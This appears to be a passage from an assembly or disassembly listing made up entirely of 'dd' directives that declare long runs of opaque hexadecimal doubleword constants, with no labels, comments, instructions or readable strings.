29815868h, 7D0419BDh dd 3FD199Ah, 0A728C30Dh, 57202B8Eh, 8D792C84h, 0A8F9700h dd 193DA073h, 0B51C0576h, 0A1F288FCh, 4C253C53h, 22891608h dd 0D33A0194h, 17011523h, 19D893Eh, 93263D68h, 67130F7Eh dd 9078CBF4h, 0DF12D39h, 381775BAh, 8B801B11h, 0EEF8AC14h dd 5BBC5E38h, 355A8A29h, 8AD74CAh, 0B01723B1h, 803D9BBFh dd 997DF1AEh, 0BE0B04E0h, 0C8E8F59Ah, 2B00133Dh, 3CEC9F3Fh dd 249E38DFh, 160BE2FDh, 0F32409F2h, 0AC822D09h, 0C50E2E81h dd 18D51995h, 6E9B2113h, 0E89CDA80h, 0BC9869B9h, 75B52312h dd 0B3972756h, 233E0214h, 9A340018h, 0E8DB87A3h, 1A1B0E60h dd 3EEBD7h, 1E35782Bh, 0B0A9C742h, 7FE4924h, 18315908h dd 0A85F05Fh, 0FAA88891h, 4877EF38h, 5E8CA82h, 0F0CC2700h dd 5C25165Dh, 4910A956h, 5F5E120Dh, 0D26F8A16h, 0C79C4704h dd 0EE909593h, 66B051B6h, 0E0C5E1D3h, 0D9B23051h, 0AC26AE51h dd 0A5E94F0h, 0C7A47C07h, 9F54932Bh, 3361DB81h, 77975802h dd 86891411h, 2D99D902h, 7F91FFD9h, 34CB6028h, 82C5099Dh dd 9F1615Ch, 0E17852Ch, 0C0CF98EFh, 4E86B000h, 0D3D7B2A2h dd 2CF8B680h, 4C021154h, 0E1445A86h, 26410148h, 1525F220h dd 1335CEA2h, 0F6F6FA23h, 0E9ED14B0h, 5222570Eh, 0FD7B2BDh dd 95988640h, 0DDDE00D3h, 8D726135h, 1B006FA2h, 0EB83C1A1h dd 162DE681h, 6336B585h, 0D1CA0364h, 5B56C270h, 66FCF2BEh dd 90A6010Ah, 4A05C6B1h, 0A3273069h, 0B70F2109h, 0BD6701F0h dd 0D25216C5h, 0E1D2F5C3h, 97000DE8h, 0DE3CDD0Fh, 3A904D70h dd 7D0C371Eh, 19A8C15Dh, 19D8B5D6h, 0F0F4B369h, 0F500D617h dd 72B62E66h, 90B7CC7Ch, 26DE04D8h, 400CE9BCh, 0CDF8E159h dd 0F32400B9h, 2BDAA768h, 4D5EE904h, 897AFAh, 3C71A12Bh dd 5C2A2E92h, 0FF050F90h, 0FE673949h, 1DF26BB6h, 1F173C74h dd 4BC7688Ch, 0B915C885h, 0F9709E1Ah, 74FBF766h, 0C18F85Bh dd 881519BEh, 7F9D1095h, 2B5B58ACh, 0C01CC803h, 3BF345E1h dd 0FA05B605h, 3FC26C15h, 0D3F9CA91h, 58C7A3F7h, 0DF0075C0h dd 28DB2A7Bh, 2C9D31C4h, 72F425CDh, 1050DC73h, 0C6712CEBh dd 0F2BEC0EFh, 0E26DAB1h, 2C114390h, 41FDE040h, 16202B28h dd 7A0B26E1h, 77C40054h, 0D943E788h, 1A013B97h, 32E06A11h dd 0B420D8EFh, 3100F3A1h, 0FE94C195h, 9C835E12h, 0F3083C51h dd 312AC65Ch, 0FAA598A0h, 810F802Dh, 0BE00E2B9h, 57136956h dd 5EBFF860h, 0A22C20D3h, 0A572DD8Eh, 0F5488A05h, 97C4615Ah dd 3ADB3984h, 921F1CC0h, 81025E51h, 9EB5DAEEh, 71E76236h dd 0C5103D2Fh, 0C0D7480Dh, 5B23C443h, 0B11C0B52h, 0C7BD81BAh dd 1AC5F400h, 0FE08C77Bh, 0B15809BEh, 4E44515Dh, 0D4FD3000h dd 61626FD3h, 1BEE21h, 17A79B1Fh, 0F779E638h, 0DFC67424h dd 0E9DA13DEh, 1A17F1C0h, 9F21C062h, 143D5A9Eh, 0C9318D9Bh dd 80566A1Fh, 8E5ED681h, 5F7C378Bh, 7212BE7Fh, 0D0C7B960h dd 21E78A20h, 17A5278Dh, 1791181Dh, 0E55B5D87h, 1CD03036h dd 0D402E703h, 0F30223DDh, 322710Eh, 2D50EA48h, 951452E8h dd 0B0A3700h, 87BEEE18h, 92A6FDCCh, 4B2E2779h, 0EDA428B7h dd 0F8E9E413h, 0BD090202h, 6234CA39h, 0FC67203Bh, 9801E183h dd 0F2224346h, 89173014h, 153594C8h, 1276508Bh, 0E22175B5h dd 89042053h, 0BA12053Dh, 3E63C780h, 61B36061h, 7C4DF378h dd 0AD5B27E1h, 8D1328F6h, 0B330048h, 0E4F5D78Ah, 6E089776h dd 0C32964F8h, 0AF3E1A72h, 832CA095h, 2DBAB9h, 35E5850Bh dd 25B90CA0h, 16D8BD97h, 0CAB10F1Ch, 0BBA248AEh, 0A08D8018h dd 88394F6Eh, 0F19EC01Ch, 4E01B8CDh, 6953755Ch, 206A800Fh dd 228D8591h, 0F8940094h, 1242CEC7h, 8BA0CAF7h, 0E7FC32D7h dd 80C62F09h, 8065D96Eh, 93BD981Eh, 6700DC8Eh, 0CD8A30F6h dd 28273F43h, 0E1CDABDAh, 8B5A5B10h, 0F2ECAFA6h, 0ACD08012h dd 0A1001D2Dh, 90AD61D6h, 6DDC801Dh, 0ED188211h, 3A14ACBBh dd 72DA08CBh, 0B8B65EB2h, 5D9303DCh, 4DF57707h, 912750BEh dd 91501D0Ah, 78F78019h, 4ECC3621h, 280088D1h, 0DF8A2A02h dd 0AB8B2926h, 67645Ah, 0CA461D7Bh, 4B89ECBAh, 0E0E37E07h dd 0BD71C0F5h, 0B5272EE9h, 9217FF5Eh, 7581B0DBh, 60BCF94Ah dd 0D404DC7h, 0E47EA78Bh, 0CCEA6018h, 0CEA42C25h, 50E11B3h dd 35BD0B60h, 8FF52AF1h, 612A19B8h, 50084468h, 12F73398h dd 5C20625Fh, 0E300DCC7h, 0A3CA39EAh, 74BA3837h, 95085CF5h dd 0BC18509h, 51562A3Ah, 0BD7F00DCh, 81ABE7A0h, 0E7A4E87Dh dd 682A1602h, 4062B174h, 2083242h, 29B69F89h, 80E94195h dd 0D538205Eh, 0E23A33FFh, 2ECE3015h, 0A595031Ah, 0A1DE4155h dd 0D45E0DB5h, 0E281A68Ch, 69C14196h, 8509C750h, 0F95D92D9h dd 0D0D15D4Fh, 0AEBEB7C0h, 0D4FAE12Dh, 448B0F27h, 0C99512EBh dd 0C797220h, 359D8921h, 310C6E7Ch, 8B87718Dh, 338877AAh dd 14FFAC27h, 2BC92727h, 0D2DA9ADBh, 20C59320h, 2BAD20EDh dd 0F7475BA2h, 17601444h dd 0C877D9BEh, 85C75612h, 135B36DDh, 297754C0h, 3344098Dh dd 2EA934B5h, 0C09D9BADh, 0A32F49B3h, 160F180Ah, 0E99D4AEBh dd 912B9FB5h, 0ABDB8515h, 163A9EB1h, 0E0BAA61Eh, 0C3F6118h dd 75E9C18Bh, 0F4BD601Bh, 45356459h, 0E6FB016Ah, 7E7A08ADh dd 818A41Eh, 8B002CE1h, 0CEFC1FEh, 43CC668h, 2E4A220h dd 0D4A577Ah, 95FF2181h, 32E91A41h, 19F9FDC2h, 0C530DF40h dd 2E1180A9h, 591C3FA7h, 957D0E28h, 6A500CC6h, 5605347Ch dd 6112006Eh, 6E0C1C3h, 3AEE605Fh, 7192331h, 505C01CAh dd 0BE668D0Dh, 0D7A4432Fh, 38904D9Dh, 0AFDAEFD7h, 2E043884h dd 926BFB5Fh, 20334D24h, 3327E1A8h, 0BAAD9FB0h, 0E5BD8B16h dd 0FCAF7AE1h, 82E5B5FFh, 8C4DB4DCh, 0AB031E59h, 0EA6B4BC4h dd 5F060D2h, 1ED70197h, 0A485B9CCh, 318530AEh, 0BD9232BEh dd 0F7E8DCE4h, 885B4F2Ch, 4202B5C6h, 0F3E4BF2Ch, 35AB82A8h dd 4A5BFF22h, 16B25478h, 44FCE869h, 0C4B966DDh, 763940CBh dd 4A27EF47h, 31D9B320h, 0E1A105A1h, 7A2E08h, 3800EC3Eh dd 8D9E48A0h, 0F5493EF6h, 0BD242FD3h, 4E9A0057h, 638A266Eh dd 819F5E00h, 3E9CC1DEh, 88E83576h, 9A2B3h, 0F95F61B8h dd 9D06BBFh, 3ACEE1D7h, 1BB12B02h, 20965906h, 0B7D0CFDh dd 0FCBBED70h, 37716A80h, 4733C6h, 63FC1642h, 0E80EEEA8h dd 89754E61h, 3B8CB5BDh, 0C556F08Bh, 36DE2F4Bh, 0CFE8E280h dd 37579CAh, 2E081A2Ch, 0AEF106F6h, 98C88B66h, 56CD0559h dd 0D7D9F1CCh, 4E01202Eh, 19009FD2h, 1142F860h, 16F66362h dd 3E07C2E8h, 0F172331h, 6D2D8251h, 225C9AEh, 89D960h dd 73DED1FDh, 0F602BB34h, 0A26F932Ch, 0BF6C209h, 526425h dd 0CEF703ACh, 1EE7DD70h, 8017DC38h, 572732A8h, 9DFF1A0h dd 768E861h, 0F202ECCCh, 0EC499EACh, 1E277946h, 5FCEC082h dd 0F7EF570Ch, 71239A49h, 137A2E4Ah, 1FD4538h, 701E6EE6h dd 0A820E830h, 25205891h, 1D68CB2Dh, 5F37A1ABh, 0F3E89282h dd 112D8206h, 35311103h, 0F090264Fh, 4CB80A32h, 9107A55h dd 0BDE80B0Ch, 0D0AB5B06h, 0FC00E5DAh, 2A4253D8h, 7AFEE3DCh dd 0B0196280h, 654F0A0Dh, 0E152E762h, 5642D164h, 0B70F2167h dd 0ED628BF7h, 0D0BE5309h, 0BF1CD5A5h, 25D6AF1Fh, 2085D301h dd 8A4F33E8h, 0EDC719C8h, 0D0A927E0h, 97A4DE85h, 0C83C8E06h dd 8893C017h, 0AF9197B3h, 0E44F2080h, 0EF14443h, 23061DBBh dd 0BD0B3E60h, 96A82941h, 3EE105D1h, 6500A26Fh, 2EB03871h dd 0DB27B18h, 14B02D47h, 470031F2h, 869A29E0h, 950D9589h dd 0CDBDFDA1h, 9D0D8621h, 45C518B5h, 0BD2E886Fh, 0E9858411h dd 0A09BB718h, 2F1844Ah, 1CE53AFBh, 8D188E0Fh, 0B9174081h dd 4EE4971Fh, 52BE885h, 1B88B68Fh, 0E92A71C0h, 0BC720CF6h dd 0E5C2C654h, 571B3325h, 2BC0D86Dh, 38E00C7Ah, 0AF49B084h dd 3A043BBCh, 329DB529h, 0E69648B8h, 0D9F5E1FAh, 20BDD620h dd 595E2BB9h, 842642C9h, 0FE798EF2h, 82C72500h, 9D73FEFDh dd 0AD089300h, 0C9ADC38Bh, 0AEC00AE7h, 7F32E9CEh, 2EFCA97Eh dd 126D267Bh, 0C424A525h, 0B7B7976Ch, 0B501F201h, 353A0BA9h dd 0A18CA63Ch, 167E506Dh, 80819BA5h, 0F562BB50h, 8379094Ah dd 59DBE163h, 7135A5h, 2AB32DA0h, 0F1CBE63h, 30250C86h dd 5C5A999h, 0E3853EBDh, 0E829ECB1h, 0E6018C1Ah, 0DFF242CBh dd 947431DEh, 1995168Dh, 0A090E715h, 735889DBh, 0E61A4AA7h dd 2CACE12Ah, 33B78F4h, 9B6E7C5h, 230F0FE8h, 1B585Dh, 88268C4Eh dd 1DC303CCh, 0AACFC89Eh, 0FD429C2Fh, 0B6001337h, 802F507Ch dd 0CE5813EAh, 0E4901273h, 611CBEC3h, 92EAFB72h, 0EB61AE9Fh dd 1A529135h, 8B122D74h, 9BE68C4Ah, 0F042DDE1h, 0E7054C96h dd 0CA3C8997h, 1434C5CCh, 0D89CBADAh, 0E6B1F03Bh, 10283594h dd 842E199Dh, 4CDCB6BCh, 0C6280991h, 0B0CBD392h, 17832560h dd 0DE2D4970h, 96338A49h, 542F490Ah, 617E2448h, 0F8509F10h dd 8598895Fh, 80BF3D18h, 109E35F8h, 0FC178096h, 0E3CC8A0Fh dd 0A2AAD2CAh, 34DC5B4Bh, 0AE950075h, 4D20C59Ah, 6FE043C0h dd 2A54969h, 901221E5h, 810E29A1h, 18F9DC23h, 0F9B485ACh dd 0E8F901D4h, 0CAD46E0Ch, 0AD5E20F0h, 0D3451E49h, 0FF008A6Bh dd 30ECF368h, 0BD132360h, 2CE21525h, 0B561807Bh, 0C9D21F62h dd 60C0CF09h, 94953B28h, 10629048h, 7C481F91h, 0C00886C7h dd 9A7993D6h, 0D3FF95A2h, 0EDAB58D9h, 8E966600h, 0CBF3D589h dd 0DE92219h, 0AD83031Fh, 2578BBC0h, 0F3B818h, 81B9943Ch dd 0AF0CF5C9h, 60AA3154h, 6158F6BFh, 7291D95h, 0C0B384C5h dd 64C5693Bh, 2820454h, 5305CD9Ah, 0ADB0D001h, 7A9A750Fh dd 0C4B929C5h, 455A0052h, 0DE55DD3Eh, 1C179FAFh, 2DB1AC8Ch dd 0A17BBB54h, 0B2D69A00h, 0AA9DF4E3h, 0EB37FC17h, 0E017B04h dd 0AE72398Dh, 0F8D12F01h, 0EC12AE5Dh, 3612434Eh, 231FDE6Eh dd 697C2350h, 3B4D2FC0h, 89D1C0C0h, 31B129BDh, 830F04A8h dd 52E8490Dh, 0C7083EE5h, 60DD8D81h, 3D6A5961h, 0FDBCF8h dd 0F35030FCh, 690C39D4h, 0A4CE8102h, 0C002A23Eh, 0A221D50Fh dd 0E1004047h, 0D298B726h, 94404FC9h, 9F0B973Dh, 6064EDFFh dd 0B563B7ADh, 0BF0FD90Fh, 31F637F2h, 8AD90DE3h, 326E2BC5h dd 0FF696700h, 0B188AE33h, 3B3BB45Bh, 33011923h, 0A563E768h dd 0BE681D8h, 5E576F22h, 0FF4BF66Fh, 3844436Dh, 27755C2Fh dd 483D11h, 10909F53h, 88806E9h, 9DAE0DEEh, 7BCE802Ch dd 0BD011430h, 0E93B6F1h, 5B295090h, 1C2DD955h, 0E39300F7h dd 7081F4E7h, 98DCB634h, 0F2B810E9h, 9095D970h, 18F522h dd 0CEB84DA8h, 0E3A54313h, 16239104h, 48A1F98Bh, 0C0F70136h dd 0A996795h, 0F2FB8B30h, 491F2BF9h, 48BC6707h, 1F806B5Fh dd 0BA6050h, 2AF7D2A4h, 30681EBBh, 6FA3414Eh, 80D69A5Ah dd 0F59B0551h, 0BAE20989h, 0EA01D454h, 7FF20EDFh, 67006DE9h dd 62EC2544h, 5600C630h, 13A8F47h, 0D263842Ch, 0A55C047Ah dd 479B2414h, 0D1B63FC0h, 0B50953C1h, 82771AC9h, 75241139h dd 369B2D16h, 768B858h, 0D0A33DF2h, 1B8D97FFh, 8103FADAh dd 766F7EE3h, 0FD1F178h, 89D9D4E6h, 7355DC8Ah, 0FC899075h dd 0DD018C1Ah, 886F599Dh, 0C9736ACFh, 0A3121800h, 2EBAFC7Fh dd 0E05C200h, 2F03A488h, 87DE013Dh, 6A7A5DACh, 0FE953002h dd 12ED905Ch, 0A03050D9h, 14D103Bh, 0BA1C6DB0h, 8539BDCEh dd 0A90FBF28h, 9DDA505h, 1DE8D9FDh, 830CEB1Fh, 58D2B180h dd 0DC8B0F26h, 0CBE90523h, 0B186F80Dh, 0EA042C03h, 9D8B2502h dd 14C95271h, 0C6920285h, 4BD19037h, 0D27017F3h, 36260062h dd 9BA9302Bh, 0FF914D59h, 0FECFBA9Fh, 0B1D4E08Ah, 12F11EC2h dd 0BCD5874Dh, 14AD8011h, 396EA19Eh, 7A002917h, 0A587DD50h dd 55955F3Fh, 23FEB092h, 0EFD1FDEh, 0C4781FB0h, 0AACC9714h dd 9BD2D0ACh, 0B72080BCh, 5A1B2FCh, 0E0B491BAh, 0D759FC9Ch dd 62A61320h, 0AA9707B2h, 50F561AEh, 9D60A4C7h, 0BFF6A0Bh dd 0BAC44BBDh, 816954B5h, 30FD77BBh, 44347E6Fh, 0E44B17ABh dd 45319590h, 14C6F2Fh, 0AE0BFE04h, 2DD224h, 5E56D4BFh dd 2B70E602h, 95BBD71h, 2D2EF2D6h, 0D0E634A1h, 0B0012727h dd 0E4BC23h, 0B075231Eh, 0C8B60F25h, 94805A99h, 698A042Fh dd 0A3370044h, 0F87342D2h, 6F5AEF9Fh, 82FC4325h, 0C18BEB60h dd 927B531h dd 51FA9128h, 80A274CEh, 5A382B7Eh, 1C0E7517h, 39958962h dd 0D0C65FEFh, 0C8314B0Ah, 0C8482B08h, 81DA00D4h, 53B62ED7h dd 0F08B4E22h, 1B637523h, 12699D7Bh, 0E21CE977h, 0DE5F7DACh dd 0C7608A27h, 1FB36335h, 81F44E80h, 89431738h, 2064E170h dd 8B2761F1h, 8183A085h, 2C263FE7h, 2525317Fh, 62EA4818h dd 4C9D8E05h, 0EFD6FDB4h, 52ADC85h, 0AD03BF8h, 34931BFh dd 8959D29h, 38E82626h, 0C5061740h, 67BD03C4h, 813BF4F1h dd 0C8FCC989h, 590B56F6h, 7B45E961h, 80F89F98h, 8F6D35F1h dd 814EE1E0h, 2B307F8Dh, 8C0C4E09h, 22458430h, 12591E88h dd 281BA594h, 0AC1683FEh, 7898938h, 13B5B102h, 498D4F84h dd 6E028CCBh, 57814A9Dh, 19E36F62h, 0D787A5Bh, 0A752172Fh dd 0DF64BCCh, 9C85A1A0h, 6B829D00h, 44B9AF35h, 0F16DE108h dd 6D50CABCh, 3441719Eh, 85FB3242h, 7BDBFCB0h, 64E492C0h dd 0D0A138D4h, 31B31002h, 91B79FFCh, 3013F31Dh, 0A40828E0h dd 358D20E0h, 0BFDB2B4Bh, 72E633C0h, 0B4144DCCh, 568F0Fh dd 0D22BFA8Bh, 3033ADF8h, 0D05AD1C2h, 417E983h, 0C0A6F475h dd 0A17A3EE0h, 0BBCD7201h, 880DF8C9h, 4CD21A7h, 0D20030C7h dd 180A731h, 958B16DBh, 291B29B5h, 14E8BC31h, 0B002B7EEh dd 50235510h, 7FF5F5C2h, 3C133ECh, 0F5CE62AAh, 103304Eh dd 1C5F1240h, 86C28B50h, 8C10318h, 0A2ACD2F1h, 334C5819h dd 6130372Fh, 7B23E562h, 0FB7BD0B5h, 6F52B403h, 581DB529h dd 6522D24Dh, 6BD74195h, 0C09B9E2Eh, 73ADCEAAh, 50BB3966h dd 18D0F8Ch, 0B870F523h, 398880B1h, 4D8D1C24h, 2ADC4F89h dd 0DB01146Eh, 90D17753h, 0E18D3B72h, 0E1FFD340h, 0F3E71FBFh dd 0CDF0F1BCh, 0D5EA0C18h, 16BC066Dh, 202A4352h, 0BFDB4401h dd 0AD233D0Ah, 0C24F1263h, 2A93860Fh, 14A10823h, 0F8C0601Dh dd 1631C381h, 84465FB9h, 0B8B4AD6Eh, 9C90916h, 2A1F9BDh dd 7D04E180h, 0E6E2B8F4h, 8B0B043Bh, 0E2626808h, 7711005Ah dd 0FE9983CFh, 80C9500Ah, 8862B90Bh, 0B12605D5h, 0CF30E50Bh dd 33A44020h, 45D45585h, 55212CA8h, 722E9162h, 0EBD0928Eh dd 24AFA844h, 3132C15Eh, 34213F09h, 0CEF44768h, 8B0F1A7Fh dd 5E806F04h, 3481FCFAh, 18B82404h, 8FF67FD1h, 10B764E0h dd 5C9E4918h, 0D322D58Fh, 1D741283h, 0F97FB96h, 0C8592587h dd 0A1005139h, 5841E9Fh, 12223E50h, 0A090D873h, 4026C3DEh dd 0C805F93Bh, 979E1EABh, 4BFE8580h, 3C02B9F5h, 0B5E96C1Ah dd 0D0A95301h, 0E701BBF3h, 7A36679Ch, 0F0601469h, 1791208Dh dd 0A5C08381h, 0E068CDB2h, 71BBF427h, 21A5CF13h, 0B20053E2h dd 9B441D41h, 0B572526Ah, 0F054A603h, 0B19ED355h, 18C1C7A8h dd 25FF217Bh, 0B595882Ah, 83ED6BC4h, 0F6B1A040h, 49DEC40Ah dd 4E89501h, 7113981h, 68561F8h, 16F217A2h, 49C8E930h dd 0B96A350h, 0CEC8E1BFh, 31120446h, 844E61B5h, 44522950h dd 0DF36005Dh, 24064432h, 314B0FC6h, 8292F020h, 0D872001Ah dd 0CB4E6179h, 0B72571EAh, 18C44497h, 87D4E3D2h, 7500457Bh dd 0F3B4BAC2h, 245F2D78h, 28875A5Bh, 870F919Ah, 0E0422A50h dd 0D781F753h, 0E12B3F02h, 44B5FF65h, 95B79502h, 8129350Ah dd 741B2925h, 646801F8h, 0E004754Bh, 4F496DBFh, 489B0FE3h dd 92C2776Ah, 8C8D0423h, 31CB39Dh, 0DF6C6050h, 5A887460h dd 2B681287h, 0DB29C85Bh, 80C9F53Eh, 44F1570Eh, 0D8A4FFh dd 9C172B6Bh, 611558B7h, 2AF08A2Dh, 72257F35h, 95FBAC99h dd 0B62EC181h, 0F1852661h, 207FC8C7h, 0B079595Dh, 91FAF900h dd 0D224874h, 5A0301A1h, 61393360h, 9875EA8Eh, 807543h dd 2EF1E1F0h, 0C75F30CFh, 0D8558558h, 1639BB27h, 10317889h dd 4E939A64h, 0EC112FA0h, 0B3A739F3h, 3726E917h, 2E140Dh dd 665D53BFh, 30501273h, 44F40E0Ch, 0E8C10161h, 0E4CEB10h dd 124C3FF7h, 3F905803h, 0DD36EBE7h, 6443E036h, 1B63E19Eh dd 28293450h, 58180C21h, 57D00113h, 75259C1Bh, 91E0154Dh dd 240E141Dh, 5090829h, 0A67AE8CFh, 0EFB2E033h, 0D51D0258h dd 0C12CECAFh, 9545A885h, 9438AC2h, 0BD043685h, 0EA4C80F5h dd 3D580F6Ch, 0C8CD0109h, 711116D4h, 0B7779504h, 0E64780B6h dd 0C109A45Eh, 44285B1Ch, 0CA27AB66h, 0C8254114h, 0C09A1A0Dh dd 0B8E6C909h, 19020B01h, 0AE00122Dh, 7A063616h, 0A55DD890h dd 239B5B1Bh, 0FCC3C80h, 33B0DEB7h, 0DC30BC45h, 7C09CDDh dd 0E0106C7h, 0BCB1FD53h, 0CA060172h, 4EBD957Ah, 0BFFF30CFh dd 42D5BB09h, 23CBA70Ah, 0BD2751E2h, 8018119Bh, 0CF239854h dd 0F5E195DFh, 89CCD480h, 1149BD27h, 403961E4h, 0D96895Fh dd 56F7A83h, 26F0B22Eh, 0A0111F86h, 89DE8A06h, 429C486h dd 3858A2BBh, 4AF8B733h, 0C08F8FEBh, 0F4EFD92h, 9402128Ah dd 5FF4B397h, 2264FC2h, 3CC0C283h, 848D381h, 20500B6Ch dd 14450060h, 5FC78BACh, 67711E61h, 32CDA0A2h, 9CB8BE0Ch dd 8606F675h, 97F3E1E2h, 0C9AB3672h, 0C57F0C48h, 0F95EF9ACh dd 5B9A6874h, 0E5161DC0h, 944BD460h, 3173C2h, 3791BB96h dd 506DB11Dh, 70427BE5h, 0EB000133h, 95BCE930h, 108B05EFh dd 142D799Dh, 8568F8B7h, 0ADB2830Fh, 30AD9D08h, 77034142h dd 990FDEBDh, 55019D85h, 0B07DBEA4h, 21317030h, 6E1C1B24h dd 181BF121h, 2288014Ch, 4B9CEBCDh, 8D0C3083h, 0BF0FA6A8h dd 6096FF00h, 0A2267B8h, 12667648h, 0C161FC0Bh, 3E96D974h dd 6180EADBh, 2B3AD99Ch, 4B84A43Fh, 2750501Eh, 0AFE18864h dd 0B741F0A9h, 8BB1DA77h, 35A63554h, 0B8442D40h, 86F7012Bh dd 0C8D1DFEBh, 814C48A8h, 8B39E739h, 75095EACh, 0AE1B6D84h dd 0BDD638A9h, 7EF4A95Dh, 0D8F84806h, 210D6916h, 228F1A6h dd 5E044102h, 0C0BEDE3Fh, 0E3569A99h, 0B3BD1278h, 12641FBAh dd 7D99D320h, 880A9284h, 0DF625076h, 803BB7C6h, 3122840Dh dd 3C2D2397h, 928E50A4h, 0ED26D20Ch, 21FE8A4h, 7088DAF2h dd 1162FF37h, 64E89444h, 39F7F37Ah, 0B8B8AAh, 103A9CACh dd 7ADABBB2h, 8B7D0809h, 70725BC1h, 0B3024E19h, 94C68E1Dh dd 0DBBB414Bh, 0E6206A61h, 9E8D27EBh, 0CDA7D9DBh, 58B54172h dd 7E8AD003h, 0DADB2C12h, 802B02A0h, 1360E890h, 737B7631h dd 0BFC50043h, 0A46EDCC7h, 0A3015999h, 4CBEE58Ch, 7A30698Fh dd 0F2408A04h, 5F25E410h, 1E8C6450h, 0A8541Eh, 0EC70B744h dd 74005CFFh, 0F145EF55h, 0F0BD6BCAh, 6E904EB4h, 0C5160679h dd 20C8A954h, 0FCBC2C3Dh, 9510B340h, 0BA5099Bh, 0B4F63ACDh dd 50C9BB40h, 0B57F2432h, 669A00BDh, 0E4A52A05h, 906A2104h dd 79870135h, 0F15B12B8h, 1C6E6A30h, 0DB6AB716h, 40CEC067h dd 95F5F328h, 32D9DE38h, 0F4A3B9Ch, 1F3BF704h, 0A8A6FBEh dd 0B72DDBF5h, 12C6E404h, 0F1F61BCh, 845013B7h, 98A0E23h dd 0B26B3B3h, 0F1F4D9E7h, 601AB0B8h, 7937B533h, 0EB6F121Ah dd 615924C1h, 9C20ABCh, 0B658CD8Dh, 7EED9A95h, 0C25DC20h dd 59D240FFh, 15C8234h, 33AD8651h, 0EBC038CDh, 17E871B5h dd 0C2B31E34h, 76092B70h, 16CA2257h, 2179BD03h, 0C0BB0233h dd 1C5D84DAh, 419DC2DDh, 0C050050Dh, 3255B8D3h, 612F5176h dd 0F982595Eh, 1CA81819h, 139D7A02h, 49234539h, 0BBBBD82Fh dd 148D1501h, 0E76E97Fh, 1FE2C2Eh, 9293C40h, 1B33F1B5h dd 0B7E297EDh, 68185EA7h dd 0BF02D66Bh, 0B0A7EE33h, 0BB998087h, 4FB11858h, 0C572C124h dd 66900211h, 0C7BB0004h, 0B0E3CEC8h, 0B773D5A3h, 0F80980BEh dd 0DCF1FC90h, 67FB1C12h, 0BB2B2AF5h, 0B100FA7Ah, 0E6E27DD0h dd 6474CE43h, 0D84BE990h, 0F9492DCAh, 0A300F7ACh, 6A4A8C12h dd 73A8898Bh, 658D2657h, 1377A86Ch, 0FD1C0995h, 8E6D393h dd 0A0DC21E0h, 0F81BCC2Dh, 6B36099Ah, 2856FF6Ah, 603005DCh dd 0C1D88AA9h, 7705A1B2h, 0D0CB0DBh, 0C7C505DBh, 9209D8E2h dd 7F5E0E19h, 20096D51h, 108325B2h, 252C312Eh, 81F2C0B0h dd 0A8E602E3h, 0B6D9D03h, 70CA6E6Bh, 22264B40h, 4271E427h dd 91885C9Ah, 3B745C3Fh, 0CB52DB45h, 642C85E1h, 0F706BA16h dd 11DD00BFh, 2A64126Bh, 0AFB1B16Eh, 0C20F7273h, 0E551A17Eh dd 5DF49921h, 20EF17CAh, 0BC4E1357h, 4B628073h, 0E9C7699h dd 0A394FEE4h, 0AC0BDEE1h, 0F3886B21h, 0E46500CDh, 0C6A41DE1h dd 0CB3847D2h, 0F97902DDh, 0D9052BC1h, 0CEE70049h, 5F3D36E0h dd 0CCBE6500h, 0BAB54AD9h, 0A2C20F4Dh, 5BAC485Eh, 0BF1E0486h dd 26D24CECh, 6234BEF1h, 20C85F2Bh, 725AA53Dh, 69AF1800h dd 0C1599777h, 6E9E398Bh, 0B10D1AFh, 1300AA1Ah, 733905BFh dd 1A61C19h, 0E8B0024Eh, 2F860F8Dh, 9EBA68Ch, 0E95F338Eh dd 0D3802010h, 6EC89351h, 41BFB040h, 97782CE5h, 0F338BE8Ch dd 102BC735h, 41C12AF0h, 0B65D2E31h, 0FEBB01A2h, 0E97312E2h dd 7515A548h, 31486EC4h, 0A1032D36h, 0B5B9C3BEh, 515D8C3Ah dd 0F14FBF02h, 5E5F604Eh, 5D2144A1h, 3AD8BF8Ch, 5A1705CBh dd 9A58329h, 0E908FE1Fh, 4B842F65h, 0A0A0BC24h, 971ECD42h dd 8F3755h, 0E91F3959h, 660B8991h, 0E77A38Ah, 0BB4936E5h dd 0DE94DE6Ah, 6EB63201h, 0BD513C5Eh, 89AF40E6h, 0CBBA9717h dd 9D69305Dh, 0B9AAA8EDh, 1A489F57h, 8B97D8B7h, 7056D391h dd 71389546h, 664980C8h, 7FDBBFFCh, 0B824269Ah, 1846D4CCh dd 0F2B8A04Fh, 29BC3C62h, 0D22B0104h, 0E995DC50h, 4BD00C4Dh dd 0F8366D8Fh, 28D21E3Ah, 6EB8FDA9h, 3159E717h, 2DC5EB04h dd 4076E212h, 5EB4FAA0h, 253B7C6Ah, 9637EE32h, 7124DCC7h dd 0C5A5FC82h, 5E186945h, 8E0059BAh, 0F52872CAh, 9F5ACF78h dd 0F7801C20h, 47945B1Ch, 30F32E12h, 27B29A88h, 27E90811h dd 0A80A23Dh, 56677CBBh, 575128F6h, 0DDFB4B9Fh, 129A3B2Ch dd 0FA521E85h, 19F016C5h, 13E9285Bh, 0AF860011h, 0A487A6D7h dd 6500F220h, 6F4F693h, 97F9054h, 0E1FFF143h, 76815337h dd 0E29622F3h, 7A13042Ah, 0A25FBC08h, 64F929A8h, 0D86F803Ah dd 0D0EB614Ch, 97D37057h, 0A7455194h, 5BB8376Dh, 0E335F00h dd 47FCDA4Eh, 709497C5h, 0FB134042h, 0E05AA660h, 9F6B98Fh dd 0AFB39682h, 0A1B08678h, 0E431A925h, 5D25A069h, 415C822Eh dd 7349E39Ah, 0D1807309h, 9A0060EBh, 0BBA07A07h, 4A04D02Ah dd 0B3C0CC06h, 0C0129B5Ch, 358133C8h, 3C4725FDh, 0D49455E6h dd 504D4001h, 343A8B0Fh, 910A94Fh, 661499B5h, 7BDB00EDh dd 0F4A76857h, 83952779h, 0FFF75864h, 0DC305E7Bh, 57FA8F00h dd 0BB58763Dh, 77F32525h, 660944ECh, 79C232BFh, 9D372D2Bh dd 0CEC9278Fh, 1A9360FCh, 0A6603379h, 94E53C97h, 56BDED05h dd 0C6AB80ACh, 0E916F561h, 2C2101A4h, 742F2F15h, 0C78E0219h dd 905DAEA5h, 0EAA27Fh, 0BED1DDE2h, 7A65A380h, 73C9864Ah dd 203F560h, 60590414h, 45E5F38h, 0D8BBFB25h, 0BD2C633Fh dd 6915923Ch, 2DDB40DEh, 4B125738h, 352E29CDh, 0E0B7B60Ah dd 120C88E6h, 0A39E78Eh, 0BBD8C917h, 9D09060Eh, 53BE4432h dd 8E12BD5Bh, 642E488Dh, 23C9C229h, 34E55007h, 0A8BC85BDh dd 2A122900h, 71DD428Ch, 